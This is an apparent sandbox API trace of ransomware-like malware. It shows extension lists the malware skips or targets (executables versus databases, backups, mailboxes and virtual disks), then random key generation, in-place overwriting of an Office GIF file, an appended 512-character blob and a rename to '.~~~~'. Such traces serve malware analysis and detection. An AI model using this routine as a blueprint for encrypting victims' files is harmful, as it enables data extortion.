	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".ost") returned 0x0
	[0142.878] lstrlenW (lpString=".txt") returned 4
	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".txt") returned 0x0
	[0142.878] lstrlenW (lpString=".mdt") returned 4
	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".mdt") returned 0x0
	[0142.878] lstrlenW (lpString=".BDB") returned 4
	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".BDB") returned 0x0
	[0142.878] lstrlenW (lpString=".eql") returned 4
	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".eql") returned 0x0
	[0142.878] lstrlenW (lpString=".DBF") returned 4
	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DBF") returned 0x0
	[0142.878] lstrlenW (lpString=".EQL") returned 4
	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".EQL") returned 0x0
	[0142.878] lstrlenW (lpString=".FDB") returned 4
	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".FDB") returned 0x0
	[0142.878] lstrlenW (lpString=".EDB") returned 4
	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".EDB") returned 0x0
	[0142.879] lstrlenW (lpString=".DACPAC") returned 7
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.879] lstrlenW (lpString=".VHD") returned 4
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".VHD") returned 0x0
	[0142.879] lstrlenW (lpString=".DBV") returned 4
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DBV") returned 0x0
	[0142.879] lstrlenW (lpString=".dacpac") returned 7
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.879] lstrlenW (lpString=".sdf") returned 4
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".sdf") returned 0x0
	[0142.879] lstrlenW (lpString=".accdb") returned 6
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".accdb") returned 0x0
	[0142.879] lstrlenW (lpString=".DBX") returned 4
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DBX") returned 0x0
	[0142.879] lstrlenW (lpString=".MDT") returned 4
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".MDT") returned 0x0
	[0142.879] lstrlenW (lpString=".SQB") returned 4
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".SQB") returned 0x0
	[0142.879] lstrlenW (lpString=".vhd") returned 4
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".vhd") returned 0x0
	[0142.879] lstrlenW (lpString=".bac") returned 4
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".bac") returned 0x0
	[0142.879] lstrlenW (lpString=".mdf") returned 4
	[0142.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".mdf") returned 0x0
	[0142.879] lstrlenW (lpString=".BAK") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".BAK") returned 0x0
	[0142.880] lstrlenW (lpString=".BAC") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".BAC") returned 0x0
	[0142.880] lstrlenW (lpString=".dbs") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".dbs") returned 0x0
	[0142.880] lstrlenW (lpString=".vhdx") returned 5
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.880] lstrlenW (lpString=".NDF") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".NDF") returned 0x0
	[0142.880] lstrlenW (lpString=".dat") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".dat") returned 0x0
	[0142.880] lstrlenW (lpString=".DBS") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DBS") returned 0x0
	[0142.880] lstrlenW (lpString=".CKP") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".CKP") returned 0x0
	[0142.880] lstrlenW (lpString=".edb") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".edb") returned 0x0
	[0142.880] lstrlenW (lpString=".PST") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".PST") returned 0x0
	[0142.880] lstrlenW (lpString=".dbf") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".dbf") returned 0x0
	[0142.880] lstrlenW (lpString=".SQL") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".SQL") returned 0x0
	[0142.880] lstrlenW (lpString=".pst") returned 4
	[0142.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".pst") returned 0x0
	[0142.880] lstrlenW (lpString=".dbv") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".dbv") returned 0x0
	[0142.881] lstrlenW (lpString=".SDF") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".SDF") returned 0x0
	[0142.881] lstrlenW (lpString=".dtxs") returned 5
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.881] lstrlenW (lpString=".db3") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".db3") returned 0x0
	[0142.881] lstrlenW (lpString=".OST") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".OST") returned 0x0
	[0142.881] lstrlenW (lpString=".dbx") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".dbx") returned 0x0
	[0142.881] lstrlenW (lpString=".DB3") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DB3") returned 0x0
	[0142.881] lstrlenW (lpString=".DAT") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DAT") returned 0x0
	[0142.881] lstrlenW (lpString=".VHDX") returned 5
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.881] lstrlenW (lpString=".ndf") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".ndf") returned 0x0
	[0142.881] lstrlenW (lpString=".DB") returned 3
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DB") returned 0x0
	[0142.881] lstrlenW (lpString=".sql") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".sql") returned 0x0
	[0142.881] lstrlenW (lpString=".MYD") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".MYD") returned 0x0
	[0142.881] lstrlenW (lpString=".DBT") returned 4
	[0142.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DBT") returned 0x0
	[0142.882] lstrlenW (lpString=".ACCDB") returned 6
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.882] lstrlenW (lpString=".fdb") returned 4
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".fdb") returned 0x0
	[0142.882] lstrlenW (lpString=".bak") returned 4
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".bak") returned 0x0
	[0142.882] lstrlenW (lpString=".myd") returned 4
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".myd") returned 0x0
	[0142.882] lstrlenW (lpString=".DTXS") returned 5
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.882] lstrlenW (lpString=".ckp") returned 4
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".ckp") returned 0x0
	[0142.882] lstrlenW (lpString=".dbt") returned 4
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".dbt") returned 0x0
	[0142.882] lstrlenW (lpString=".db") returned 3
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".db") returned 0x0
	[0142.882] lstrlenW (lpString=".TXT") returned 4
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".TXT") returned 0x0
	[0142.882] lstrlenW (lpString=".MDF") returned 4
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".MDF") returned 0x0
	[0142.882] lstrlenW (lpString=".bdb") returned 4
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".bdb") returned 0x0
	[0142.882] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.883] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.884] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.884] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0142.884] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26287455864) returned 1
	[0142.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe91ac90, dwHighDateTime=0x1d60e1e)) 
	[0142.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0142.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0142.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0142.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe4b0
	[0142.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe4b0 | out: hHeap=0x300000) returned 1
	[0142.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa860
	[0142.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa860 | out: hHeap=0x300000) returned 1
	[0142.885] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.886] GetLastError () returned 0x0
	[0142.886] GetLastError () returned 0x0
	[0142.886] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.886] GetLastError () returned 0x0
	[0142.886] GetLastError () returned 0x0
	[0142.886] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0xcbc3, lpOverlapped=0x0) returned 1
	[0142.986] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff343d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.986] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xcbc3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xcbc3, lpOverlapped=0x0) returned 1
	[0142.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.987] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.987] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.987] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.987] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.987] CloseHandle (hObject=0x138) returned 1
	[0142.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa7b8
	[0142.987] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif.~~~~")) returned 1
	[0143.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa7b8 | out: hHeap=0x300000) returned 1
	[0143.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.065] GetLastError () returned 0x0
	[0143.065] RtlWakeConditionVariable () returned 0x0
	[0143.065] GetCurrentThreadId () returned 0x9f4
	[0143.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".scr") returned 0x0
	[0143.065] lstrlenW (lpString=".cmd") returned 4
	[0143.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".cmd") returned 0x0
	[0143.065] lstrlenW (lpString=".dll") returned 4
	[0143.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".dll") returned 0x0
	[0143.065] lstrlenW (lpString=".bat") returned 4
	[0143.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".bat") returned 0x0
	[0143.065] lstrlenW (lpString=".cpl") returned 4
	[0143.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".cpl") returned 0x0
	[0143.066] lstrlenW (lpString=".sys") returned 4
	[0143.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".sys") returned 0x0
	[0143.066] lstrlenW (lpString=".msc") returned 4
	[0143.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".msc") returned 0x0
	[0143.066] lstrlenW (lpString=".com") returned 4
	[0143.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".com") returned 0x0
	[0143.066] lstrlenW (lpString=".lnk") returned 4
	[0143.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".lnk") returned 0x0
	[0143.066] lstrlenW (lpString=".msp") returned 4
	[0143.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".msp") returned 0x0
	[0143.066] lstrlenW (lpString=".pif") returned 4
	[0143.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".pif") returned 0x0
	[0143.066] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.068] lstrlenW (lpString=".sqb") returned 4
	[0143.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".sqb") returned 0x0
	[0143.068] lstrlenW (lpString=".ost") returned 4
	[0143.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".ost") returned 0x0
	[0143.068] lstrlenW (lpString=".txt") returned 4
	[0143.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".txt") returned 0x0
	[0143.068] lstrlenW (lpString=".mdt") returned 4
	[0143.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".mdt") returned 0x0
	[0143.068] lstrlenW (lpString=".BDB") returned 4
	[0143.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".BDB") returned 0x0
	[0143.068] lstrlenW (lpString=".eql") returned 4
	[0143.068] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".eql") returned 0x0
	[0143.069] lstrlenW (lpString=".DBF") returned 4
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DBF") returned 0x0
	[0143.069] lstrlenW (lpString=".EQL") returned 4
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".EQL") returned 0x0
	[0143.069] lstrlenW (lpString=".FDB") returned 4
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".FDB") returned 0x0
	[0143.069] lstrlenW (lpString=".EDB") returned 4
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".EDB") returned 0x0
	[0143.069] lstrlenW (lpString=".DACPAC") returned 7
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.069] lstrlenW (lpString=".VHD") returned 4
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".VHD") returned 0x0
	[0143.069] lstrlenW (lpString=".DBV") returned 4
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DBV") returned 0x0
	[0143.069] lstrlenW (lpString=".dacpac") returned 7
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".dacpac") returned 0x0
	[0143.069] lstrlenW (lpString=".sdf") returned 4
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".sdf") returned 0x0
	[0143.069] lstrlenW (lpString=".accdb") returned 6
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".accdb") returned 0x0
	[0143.069] lstrlenW (lpString=".DBX") returned 4
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".DBX") returned 0x0
	[0143.069] lstrlenW (lpString=".MDT") returned 4
	[0143.069] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".MDT") returned 0x0
	[0143.070] lstrlenW (lpString=".SQB") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".SQB") returned 0x0
	[0143.070] lstrlenW (lpString=".vhd") returned 4
	[0143.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF", lpSrch=".vhd") returned 0x0
	[0143.070] lstrlenW (lpString=".bac") returned 4
